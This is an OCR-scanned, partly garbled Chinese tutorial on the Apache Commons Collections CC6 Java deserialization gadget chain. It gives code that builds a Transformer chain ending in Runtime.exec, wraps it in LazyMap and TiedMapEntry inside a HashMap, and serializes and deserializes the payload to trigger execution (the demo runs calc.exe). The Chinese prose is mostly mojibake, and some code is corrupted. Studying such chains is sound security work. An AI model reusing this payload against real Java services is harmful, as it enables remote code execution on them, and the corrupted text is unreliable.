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public Object getValue() {
return map.get(key);
ks

AXE, map FERIEBT get A%, HLUAFER key FEASEL,
X1 get AiATE CC1 MRt A LI, &I EA LazyMap
KK get AL, MmktEF AR,

ZIEH1BE—T TiedMapEntry BB —NA%, hashCode

public int hashCode() {
Object value = getValue(Q);
return (getKey() == null ? 0 :
getKey().hashCode()) A
(value == null ? @ : value.hashCode());
ks



XN AER, ERRET getValue F3%FIKEY value 1918, ZI
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TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainTransformer.transform()
InvokerTransformer.transform()

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new
Class[] {String.class, Class[].class }, new Object[] {
"getRuntime", new Class[@] }),

new InvokerTransformer("invoke", new
Class[] {Object.class, Object[].class }, new Object[] {
null, new Object[0] }),

new InvokerTransformer("exec", new Class[]
{ String.class}, new String[] { "calc.exe" })

s

Transformer transformerChain = new
ChainedTransformer(transformers);

Map lazyMap= LazyMap.decorate(new HashMap(),
transformerChain);

TiedMapEntry entry = new
TiedMapEntry(lazyMap, "sakut2");

entry.hashCode();
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HashMap FI|F

&— T HashMapt#treadObject /5i%H9{CHS

private void readObject(java.io.0bjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor,
and any hidden stuff
s.defaultReadObject();
reinitialize(Q);
if (loadFactor <= @ || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load
factor: " +
loadFactor);
s.readInt(); // Read and ignore
number of buckets
int mappings = s.readInt(); // Read number of
mappings (size)
if (mappings < @)
throw new InvalidObjectException("Illegal
mappings count: " +
mappings);
else if (mappings > @) { // (if zero, use
defaults)
// Size the table using given load factor only
if within
// range of 0.25...4.0
float 1f = Math.min(Math.max(@.25f,
loadFactor), 4.0f);
float fc = (floatdmappings / 1f + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * 1f;
threshold = ((cap < MAXIMUM_CAPACITY && ft <
MAXIMUM_CAPACITY) ?

(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the
nearest public type to
// what we're actually creating.

SharedSecrets.getJavaObjectInputStreamAccess().checkArray(
s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes", "unchecked"})
Node<K V>T1 tah = (Node<K_Vs>T1Ynew Nodelcanl:
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table = tab;

// Read the keys and values, and put the
mappings in the HashMap
for (int 1 = @; 1 < mappings; i++) {
@SuppressWarnings("unchecked™)
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putValChash(key), key, value, false,
false);

HashMap £ RFEFILIIHE={ER hash AR ITE hash {8,
M7 hash AEHFRIEAE key B hashCode 757

BBAFAMER HashMap#put 57E4G TiedMapEntry EEIXS R
03 key B, FAFALAIRFIEAE] hashCode F53& T

HashMap hashMap = new HashMap();
hashMap .put(entry, "sakut2");

BEEEE put FENMEESMA hash /5%, MTTSE
payload fif%& .

XEHATAIAM AL IE URLDNS 88—, 7EflR ZBERERNR
payload NESLERMHIN, ZEBERRIEFRNERE.

X E AR AL TiedMapEntry #i& 53558 lazyMap JWHRE
L — 1 E @R Map £, XEFERAE HashMap 2,

TiedMapEntry entry = new TiedMapEntry(new
HashMap(), "sakut2");

7EiER put AiE3% new HashMap() Nzl key R /EB@ET &8
1 TiedMapEntry FEY map FERRIEMELR[E lazyMap IR

Field field = entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry,lazyMap);
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public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new
Class[] {String.class, Class[].class }, new Object[] {
"getRuntime", new Class[@] }),

new InvokerTransformer("invoke", new
Class[] {Object.class, Object[].class }, new Object[] {
null, new Object[0] }),

new InvokerTransformer("exec", new Class[]
{ String.class}, new String[] { "calc.exe" })

1

Transformer transformerChain = new
ChainedTransformer(transformers);

Map lazyMap= LazyMap.decorate(new HashMap(),
transformerChain);

TiedMapEntry entry = new TiedMapEntry(new
HashMap(), "sakut2");

HashMap hashMap = new HashMap(Q);
hashMap .put(entry, "sakut2");

Field field =
entry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(entry,lazyMap);

ObjectOutputStream oos = new
ObjectOutputStream(new FileQutputStream("CC6"));

oos.writeObjectChashMap);

ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("CC6"));

ois.readObject();
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